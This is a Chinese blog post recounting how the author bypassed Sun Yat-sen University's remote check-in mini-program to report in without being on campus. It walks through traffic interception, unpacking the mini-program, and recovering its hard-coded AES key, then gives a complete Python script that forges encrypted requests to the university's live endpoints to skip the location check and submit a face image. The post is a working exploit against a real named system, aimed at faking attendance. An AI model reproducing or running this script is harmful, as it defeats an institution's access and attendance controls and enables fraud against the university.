记一次在家搞返校报到

寒假将尽

今年的春节本来也晚,2 月 25 号左右看了下学校好像最晚 3 月初报到,就觉得还有很久,后来才发现 28 号直接跳到 3 月 1 号了,此时已经来不及了,碰巧月末刚好是周末,匆匆赶上去觉得太挤,就心一横,打算研究一下改定位报到的事。

安卓人、安卓手机和安卓电脑

问了一下前两年毕业的老登,都说是用苹果来搞的,用的什么爱思助手 (有没有配套的爱慕助手)

但是本人是安卓人,用的安卓手机和安卓电脑,于是就打算在 Windows 上试试先,实在不行再找苹果人借一台苹果手机和苹果电脑。

PC 端抓包

然后发现企微的小程序确实是能调用电脑的摄像头,但是不能获取位置信息,我也不知道怎么让他能获取到。

打开 Proxyman 尝试抓包,但是除了能看到获取列表信息和报到的信息外也没别的请求了。

移动端抓包

上 B 站搜了一下手机抓包,看到有用 httpcanary(现已经更名为 reqable)抓包的,装好证书开始抓包后,发现居然弹一个和电脑一样的报错框,说无法获取位置信息。

观察了两次后,发现小程序会先往 lbs.map.qq.com 发一个请求,如果证书不对劲,这个连接就会直接中断。于是配了一下 SSL 的规则,只拦截 *.sysu.edu.cn 就好了。

能看到小程序在获取位置信息后,往 /sign/submitPosition 路由发了个请求,然后非常自然地弹出不在校区内的信息框。
把这个请求复制出来,只看到请求体有一个 sKey 参数,值被加密了,当时比较困,以为里面只是类似 token 的身份信息,就睡觉先了。

小程序解包源码

第二天睡醒继续搞,思路是要拿到前端的源代码,才能搞懂他的逻辑。
根据群友 @xy3 提供的文章 https://blog.cccyun.cn/m/?post=473 试了一下小程序解包,发现 wedecode 已经可以直接傻瓜式一把梭了,不用再管文章前面提到的解密程序。

wedecode 安装方式:

npm i wedecode -g   # 记得装 nodejs,以及我更推荐 pnpm

然后找了半天才发现忘记用的是企业微信了,还在微信的目录里盯。
于是在企微的文件夹(默认应该是 C:\Users\用户名\Documents\WXWork) 下打开终端,然后启动 wedecode,选择指定目录扫描,再输一个 . 表示当时目录,直接就定位到了签到的小程序,然后按一下 Enter 就直接顺利解包了。

小程序的开发框架有点类似 React 和 Vue,之前也简单学过 Vue 开发,所以看起小程序源码来也不难理解。
/app.js 中看到如下源码:

var t = require("./utils/common/util");
App({
  onLaunch: function() {
    var t = wx.getSystemInfoSync();
    this.globalData.statusBarHeight = t.statusBarHeight
  },
  globalData: {
    userInfo: null,
    sAESKey: "73683132333435363738393031323334",
    header: {
      "content-type": "application/x-www-form-urlencoded"
    },
    httpUrl: "https://facerecog.sysu.edu.cn"
  },
  encode: function(e) {
    return t.AESUtils.encodeECB(e, this.globalData.sAESKey)
  }
});

然后找到 encode() 函数的调用处,即 /utils/service/request.js 中看到如下代码片段:

if (0 !== Object.keys(o).length) {
    var m = c.encode(Object.values(o).join("##") + "##" + (new Date).getTime());
    b.sKey = m
}

这时就可以看出来之前看到的 sKey 其实是参数通过 AES ECB mode 加密后的东西,并且密钥 sh12345678901234硬编码的,用 CyberChef 尝试解密了一下果然没问题,那后面的工作就更方便了。

接下来查看核心代码 /pages/sign-in/sign-in.js,看到如下片段:

reportFn: function(t, e, a, s, c, r) {
    var l = this;
    i.default.submitPosition({
      sPersonCode: t,
      sActId: e,
      wifiName: a,
      longitude: s,
      latitude: c
    }, {
      hideLoading: !0
    }).then((function(a) {
      1 === a.code ? (1 === r && (0, n.creteImage2)(o.globalData.imgSrc, 1024, 1024, (function(a) {
        i.default.submitSignFace({
          sPersonCode: t,
          sActId: e
        }, {
          sImage: a,
          hideLoading: !0
        }).then((function(t) {
          1 === t.code ? l.getSignInfo(e) : l.setTime(), l.setData({
            isShow: !0,
            status: t.code,
            text: t.msg
          }), o.globalData.imgSrc = "", wx.hideLoading()
        }))
      })), 1 !== r && (o.globalData.imgSrc = "", l.setData({
        isShow: !0,
        status: a.code,
        text: a.msg
      }), l.getSignInfo(e), wx.hideLoading())) : (l.setTime(), (0, n.showModal)({
        content: a.msg
      }), wx.hideLoading())
    }))
}

大概可以看出来流程如下:

  1. /sign/submitPosition 发一个带学号、活动 ID、WIFI 名(后台决定是否启用)和经纬度信息的请求;
  2. 若上面请求返回值为 0,则往 /sign/submitSignFace 发一个带学号、活动 ID 和人脸图片的请求;
  3. 若上面请求返回值为 0,则显示报到成功。

那么可以猜想,位置信息本质其实还是在本地做校验

根据这个思路,使用 requable 的重写功能改包,规则为发往 /sign/submitPosition 的请求返回值全部改为 0,然后就显示成功报到了。

基于此,实际上写一个脚本直接往 /sign/submitSignFace 发送学号和人脸信息即可。

搞定

最终脚本如下:

"""
【免责声明】
本脚本仅用于学习和技术交流使用,严禁用于任何商业用途、非法用途。
使用本脚本应遵守相关法律法规及平台规则,请勿侵犯他人合法权益。
作者不对因使用本脚本导致的任何后果承担责任,使用前请自行评估风险。

【使用说明】
1. 确保安装依赖: pip install pycryptodome
2. 准备人脸图片并放在代码同级目录,并命名为 face.jpg
"""

from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from Crypto.Cipher import AES
from datetime import datetime
import requests as req
import base64

def getActID(stuID: str):
    timestamp = int(datetime.now().timestamp())
    plain = f"{stuID}##{timestamp}"
    cipher = AES.new(long_to_bytes(int("73683132333435363738393031323334", 16)), AES.MODE_ECB)
    m = cipher.encrypt(pad(plain.encode(), AES.block_size)).hex()

    url = "https://facerecog.sysu.edu.cn/sign/getActivityList"
    headers = {
        "User-Agent": "Mozilla/5.0 (Linux; Android 16; FLC-AN00 Build/HONORFLC-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.180 Mobile Safari/537.36 XWEB/1380347 MMWEBSDK/20250202 MMWEBID/6351 wxwork/5.0.6.66174 MicroMessenger/8.0.28.48(0x28001c30) MiniProgramEnv/android Luggage/3.0.2.95ef3f83 NetType/WIFI Language/en ABI/arm64",
        "Accept-Encoding": "gzip,compress,br,deflate",
        "charset": "utf-8"
    }
    data = {
        "sKey": m
    }

    res = req.post(url=url, data=data, headers=headers)
    print(res.status_code)
    return res.json()["data"]["rows"][0]["sActId"]

def submitGPS(stuID: str, actID: str):
    timestamp = int(datetime.now().timestamp())
    # https://lbs.qq.com/getPoint/
    plain = f"{stuID}##{actID}####113.9539##22.801604##{timestamp}"
    cipher = AES.new(long_to_bytes(int("73683132333435363738393031323334", 16)), AES.MODE_ECB)
    m = cipher.encrypt(pad(plain.encode(), AES.block_size)).hex()

    url = "https://facerecog.sysu.edu.cn/sign/submitPosition"
    headers = {
        "User-Agent": "Mozilla/5.0 (Linux; Android 16; FLC-AN00 Build/HONORFLC-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.180 Mobile Safari/537.36 XWEB/1380347 MMWEBSDK/20250202 MMWEBID/6351 wxwork/5.0.6.66174 MicroMessenger/8.0.28.48(0x28001c30) MiniProgramEnv/android Luggage/3.0.2.95ef3f83 NetType/WIFI Language/en ABI/arm64",
        "Accept-Encoding": "gzip,compress,br,deflate",
        "charset": "utf-8"
    }
    data = {
        "sKey": m
    }

    res = req.post(url=url, data=data, headers=headers)
    print(res.status_code)
    print(res.text)

def image_to_base64(image_path):
    try:
        with open(image_path, 'rb') as f:
            # 读取图片字节并转换为Base64
            base64_data = base64.b64encode(f.read()).decode('utf-8')
            return base64_data
    except Exception as e:
        print(f"图片转Base64失败:{str(e)}")
        return None

def submitFace(stuID: str, actID: str):
    timestamp = int(datetime.now().timestamp())
    base64_image = image_to_base64("face.jpg")
    plain = f"{stuID}##{actID}##{timestamp}"
    cipher = AES.new(long_to_bytes(int("73683132333435363738393031323334", 16)), AES.MODE_ECB)
    m = cipher.encrypt(pad(plain.encode(), AES.block_size))
    m = m.hex()

    url = "https://facerecog.sysu.edu.cn/sign/submitSignFace"
    headers = {
        "User-Agent": "Mozilla/5.0 (Linux; Android 16; FLC-AN00 Build/HONORFLC-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/138.0.7204.180 Mobile Safari/537.36 XWEB/1380347 MMWEBSDK/20250202 MMWEBID/6351 wxwork/5.0.6.66174 MicroMessenger/8.0.28.48(0x28001c30) MiniProgramEnv/android Luggage/3.0.2.95ef3f83 NetType/WIFI Language/en ABI/arm64",
        "Accept-Encoding": "gzip,compress,br,deflate",
        "charset": "utf-8"
    }
    data = {
        "sKey": m,
        "sImage": f"data:image/jpeg;base64,{base64_image}"
    }

    res = req.post(url=url, data=data, headers=headers)
    print(res.status_code)
    print(res.text)

if __name__ == "__main__":
    stuID = input("学号:")
    actID = getActID(stuID)
    # submitGPS(stuID, actID) # useless, enable to complete the entire interaction, if you want
    submitFace(stuID, actID)

花絮

一开始没看出来不需要发送位置信息,一直在研究 /sign/submitPosition 路由的请求,但是把经纬度改了几次都不对,百度地图和谷歌地图的经纬度都试过了,然后忽然想到他用的是腾讯位置服务,于是在网站 https://lbs.qq.com/getPoint/ 用坐标拾取器拿到经纬度交上去就通过了。

以及我的 GitHub Edu 还没续上,没有 Copilot,什么 AI inline suggestion 都没有,写起代码真是费劲多了,还好哥们密码题和 Web 题的解题脚本写得多,不然真写不下去。

文章作者weyung
文章链接https://weyung.cc/posts/793881a0/
许可协议CC BY-NC-SA 4.0
上一篇

零知识证明

下一篇

OpenClaw 初体验 & 踩坑记录